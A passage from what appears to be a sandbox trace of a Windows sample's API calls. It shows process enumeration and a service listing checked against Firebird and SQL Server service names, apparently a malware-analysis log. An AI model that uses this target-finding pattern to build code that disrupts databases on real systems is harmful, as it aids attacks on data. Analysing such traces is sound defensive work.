cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.660] lstrlenW (lpString="svchost.exe") returned 11 [0314.660] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.661] lstrlenW (lpString="svchost.exe") returned 11 [0314.661] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0314.661] lstrlenW (lpString="dwm.exe") returned 7 [0314.662] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.662] lstrlenW (lpString="svchost.exe") returned 11 [0314.662] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.663] lstrlenW (lpString="svchost.exe") returned 11 [0314.663] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.664] lstrlenW (lpString="svchost.exe") returned 11 [0314.664] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.664] lstrlenW (lpString="svchost.exe") returned 11 [0314.664] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.665] lstrlenW (lpString="svchost.exe") returned 11 [0314.665] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.667] lstrlenW (lpString="svchost.exe") returned 11 [0314.667] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.668] lstrlenW (lpString="svchost.exe") returned 11 [0314.668] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.669] lstrlenW (lpString="svchost.exe") returned 11 [0314.669] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.670] lstrlenW (lpString="svchost.exe") returned 11 [0314.670] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.671] lstrlenW (lpString="svchost.exe") returned 11 [0314.671] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0314.672] lstrlenW (lpString="spoolsv.exe") returned 11 [0314.672] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0314.672] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0314.672] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0314.673] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0314.673] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0314.674] lstrlenW (lpString="Memory Compression") returned 18 [0314.674] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.674] lstrlenW (lpString="svchost.exe") returned 11 [0314.674] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0314.675] lstrlenW (lpString="audiodg.exe") returned 11 [0314.675] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0314.676] lstrlenW (lpString="sihost.exe") returned 10 [0314.676] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.676] lstrlenW (lpString="svchost.exe") returned 11 [0314.677] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0314.677] lstrlenW (lpString="taskhostw.exe") returned 13 [0314.677] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0314.678] lstrlenW (lpString="explorer.exe") returned 12 [0314.678] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0314.679] lstrlenW (lpString="SearchUI.exe") returned 12 [0314.679] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0314.680] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0314.680] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0314.680] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0314.680] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0314.681] lstrlenW (lpString="1csrss.exe") returned 10 [0314.681] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.682] lstrlenW (lpString="svchost.exe") returned 11 [0314.682] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0314.683] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0314.683] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.684] lstrlenW (lpString="svchost.exe") returned 11 [0314.684] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0314.684] lstrlenW (lpString="consent.exe") returned 11 [0314.684] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0314.685] lstrlenW (lpString="dllhost.exe") returned 11 [0314.685] Process32NextW (in: hSnapshot=0x514, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0314.686] CloseHandle (hObject=0x514) returned 1 [0314.686] Sleep (dwMilliseconds=0x1f4) [0315.198] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0315.199] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0315.199] GetLastError () returned 0xea [0315.199] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0315.199] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0315.199] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0315.200] lstrlenW (lpString="Appinfo") returned 7 [0315.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0315.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0315.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0315.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0315.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0315.200] lstrlenW (lpString="AppXSvc") returned 7 [0315.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0315.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0315.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0315.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0315.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0315.200] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0315.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0315.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0315.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0315.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0315.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0315.200] lstrlenW (lpString="Audiosrv") returned 8 [0315.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0315.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0315.200] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0315.200] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0315.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0315.200] lstrlenW (lpString="BFE") returned 3 [0315.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0315.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0315.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0315.201] lstrlenW (lpString="BITS") returned 4 [0315.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0315.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0315.201] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0315.201] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0315.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0315.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0315.201] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0315.201] lstrlenW (lpString="CDPSvc") returned 6 [0315.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0315.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0315.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0315.201] lstrlenW (lpString="ClickToRunSvc") returned 13 [0315.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0315.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0315.201] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0315.201] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0315.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0315.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0315.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0315.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0315.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0315.201] lstrlenW (lpString="CryptSvc") returned 8 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0315.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0315.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0315.202] lstrlenW (lpString="DcomLaunch") returned 10 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0315.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0315.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0315.202] lstrlenW (lpString="DeviceAssociationService") returned 24 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0315.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0315.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0315.202] lstrlenW (lpString="Dhcp") returned 4 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0315.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0315.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0315.202] lstrlenW (lpString="Dnscache") returned 8 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0315.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0315.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0315.202] lstrlenW (lpString="DoSvc") returned 5 [0315.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0315.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0315.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0315.203] lstrlenW (lpString="DPS") returned 3 [0315.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0315.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0315.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0315.203] lstrlenW (lpString="DusmSvc") returned 7 [0315.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0315.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0315.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0315.203] lstrlenW (lpString="EventLog") returned 8 [0315.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0315.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0315.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0315.203] lstrlenW (lpString="EventSystem") returned 11 [0315.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0315.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0315.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0315.203] lstrlenW (lpString="FontCache") returned 9 [0315.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0315.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0315.203] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0315.203] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0315.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0315.203] lstrlenW (lpString="gpsvc") returned 5 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0315.204] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0315.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0315.204] lstrlenW (lpString="iphlpsvc") returned 8 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0315.204] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0315.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0315.204] lstrlenW (lpString="KeyIso") returned 6 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0315.204] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0315.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0315.204] lstrlenW (lpString="LanmanServer") returned 12 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0315.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0315.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0315.204] lstrlenW (lpString="LanmanWorkstation") returned 17 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0315.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0315.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0315.204] lstrlenW (lpString="lfsvc") returned 5 [0315.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0315.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0315.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0315.205] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0315.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0315.205] lstrlenW (lpString="lmhosts") returned 7 [0315.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0315.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0315.205] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0315.205] 